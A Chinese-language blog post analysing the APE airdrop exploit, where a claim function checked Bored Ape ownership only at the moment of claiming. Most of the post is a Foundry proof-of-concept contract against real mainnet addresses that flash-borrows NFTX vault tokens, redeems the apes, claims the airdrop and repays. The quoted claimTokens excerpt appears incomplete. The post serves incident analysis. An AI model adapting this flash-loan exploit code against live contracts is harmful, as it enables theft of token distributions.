APE 空投

  • bixia1994
  • 更新于 2022-03-20 15:57
  • 阅读 3198

最近大家都在谈论APE的空投被撸羊毛的事件,老板也让我分析一下。这里我就把我自己分析的部分贴出来,包括一些POC,欢迎讨论

最近大家都在谈论APE的空投被撸羊毛的事件,老板也让我分析一下。这里我就把我自己分析的部分贴出来,包括一些POC,欢迎讨论 blocksec 团队的分析非常专业,推荐一下:https://learnblockchain.cn/article/3708

事故根本原因:

事故发生的根本原因是:空投合约APE的claimToken函数里面只验证了你持有无聊猿猴就行,而不是常见的线下签名的方式。只要瞬时持有就行,也没有限制你持有的时间等。

function claimTokens() external whenNotPaused {
    uint256 tokenId = alpha.tokenOfOwnerByIndex(msg.sender, i);
    if(!alphaClaimed[tokenId]) {
        alphaClaimed[tokenId] = true;
        emit AlphaClaimed(tokenId, msg.sender, block.timestamp);
    }
    uint256 tokenId = gamma.tokenOfOwnerByIndex(msg.sender, i);
    if(!gammaClaimed[tokenId] && currentGammaClaimed < gammaToBeClaim) {
        gammaClaimed[tokenId] = true;
        emit GammaClaimed(tokenId, msg.sender, block.timestamp);
        currentGammaClaimed++;
    }

攻击者思路

其实攻击的思路非常简单直接,就是利用NFTX这一个无聊猿猴的抵押平台,去做一个闪电贷。

as long as i currently has it, it can be claimed. so the idea is very stratforward: borrow apes, claim tokens.

while the flashloan not flashloan the ape NFT, but instead a token. let's figure out how to make use of it

function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32);

攻击流程:

我设想的一个攻击流程是:闪电贷出NFTX 这一个ERC20 token,然后去用这些ERC20 token redeem出所有的无聊猿猴,然后拿着无聊猿猴去claim 空投,然后是通过mint偿还无聊猿猴,这时候为了支付手续费还需要去sushi上换一点ERC20 token,最后是repay flashloan。 但是这个思路最大的问题是:sushi上的NFTX-WETH的深度太浅,需要使用318个ETH才足以swap到手续费的NFTX token。导致基本上没有利润。所以最后作者自己去opensea上面买一个无聊猿猴,可能才是最合理的思路。

the strategy is :
NFTX.flashloan
    -> NFTX.redeemTo
    -> APE.claimTokens
    -> NFTX.mintTo ids:[ 7,594 ,   4,755 ,   9,915 ,   8,214 ,   8,167 ,   1,060]
    -> uni.swapETHForNFTX
-> repay flashloan
-> transfer back APE token```

POC

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// forge test --match-contract NFTXHackTest --fork-url https://eth-mainnet.alchemyapi.io/v2/**** --fork-block-number 14403948 -vvvv
import "ds-test/test.sol";
import "forge-std/Vm.sol";
import "forge-std/stdlib.sol";

import "./INFTX.sol";
import "./IAPE.sol";
import "./IRouter.sol";
import "./ApeNFT.sol";

contract Hack is DSTest {
    AirdropGrapesToken public ape =
        AirdropGrapesToken(0x025C6da5BD0e6A5dd1350fda9e3B6a614B205a1F);
    NFTXVaultUpgradeable public nftx =
        NFTXVaultUpgradeable(0xEA47B64e1BFCCb773A0420247C0aa0a3C1D2E5C5);
    UniswapV2Router02 public router =
        UniswapV2Router02(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
    BoredApeYachtClub public apeNFT =
        BoredApeYachtClub(0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D);
    uint256 amountTotal;

    constructor() payable {}

    function start() public {
        uint256 amount = 1 ether * nftx.totalHoldings() + calcualteFees(); //5
        amountTotal = amount;
        emit log_named_uint("flash loan amount", amount);
        nftx.flashLoan(address(this), address(nftx), amount, "0x");
    }

    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32) {
        //nftx.redeem
        uint256[] memory tokenIds = nftx.allHoldings();

        emit log_named_uint("tokenIds length", tokenIds.length);

        nftx.redeemTo(nftx.totalHoldings(), tokenIds, address(this));
        //ape.claim
        ape.claimTokens();
        ///approve NFT to address(NTFX)
        apeNFT.setApprovalForAll(address(nftx), true);
        //nftx.mintTo
        uint256[] memory amounts = new uint256[](0);
        nftx.mintTo(tokenIds, amounts, address(this));

        //calculate how much i need to repay
        address[] memory path = new address[](2);
        path[0] = address(router.WETH());
        path[1] = address(nftx);
        (uint256 transferIn, uint256 expectedOut) = calculate(path);

        //router swapETHforExactTokens
        router.swapETHForExactTokens{value: transferIn}(
            expectedOut,
            path,
            address(this),
            type(uint256).max
        );
        //repay
        nftx.approve(address(nftx), type(uint256).max);
        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        return this.onERC721Received.selector;
    }

    /// actually doesnt need to calculate the fee, because it is unrelated to the amount borrowed
    /// @dev NO_NEED!!!
    function calcualteFees() public returns (uint256) {
        ///redeem fee + mint fee
        uint256 len = nftx.totalHoldings();
        uint256 mintFee = nftx.mintFee() * len;
        (, uint256 _randomRedeemFee, uint256 _targetRedeemFee, , ) = nftx
            .vaultFees();
        uint256 redeemFee = (_targetRedeemFee * len) +
            (_randomRedeemFee * (len - len));
        return mintFee + redeemFee;
    }

    function calculate(address[] memory path)
        public
        returns (uint256 transferIn, uint256 expectedOut)
    {
        expectedOut = amountTotal - nftx.balanceOf(address(this));
        uint256[] memory amounts = router.getAmountsIn(expectedOut, path);
        transferIn = amounts[0]; // need to swap 319.1816041478083 ether for the token, how crazy!!!
    }
}

contract NFTXHackTest is DSTest, stdCheats {
    address public APE = 0x025C6da5BD0e6A5dd1350fda9e3B6a614B205a1F;
    address public NFTX = 0xEA47B64e1BFCCb773A0420247C0aa0a3C1D2E5C5;
    address public router = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;
    address public apeNFT = 0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D;

    Hack public hack;
    Vm public vm = Vm(HEVM_ADDRESS);

    function setUp() public {
        vm.label(APE, "APE");
        vm.label(NFTX, "NFTX");
        vm.label(router, "router");
        hack = new Hack{value: 1000 ether}(); //300 ether
        vm.label(address(hack), "hack");
    }

    function test_Start() public {
        hack.start();
    }
}
点赞 0
收藏 4
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

1 条评论

请先 登录 后评论
bixia1994
bixia1994
0x92Fb...C666
learn to code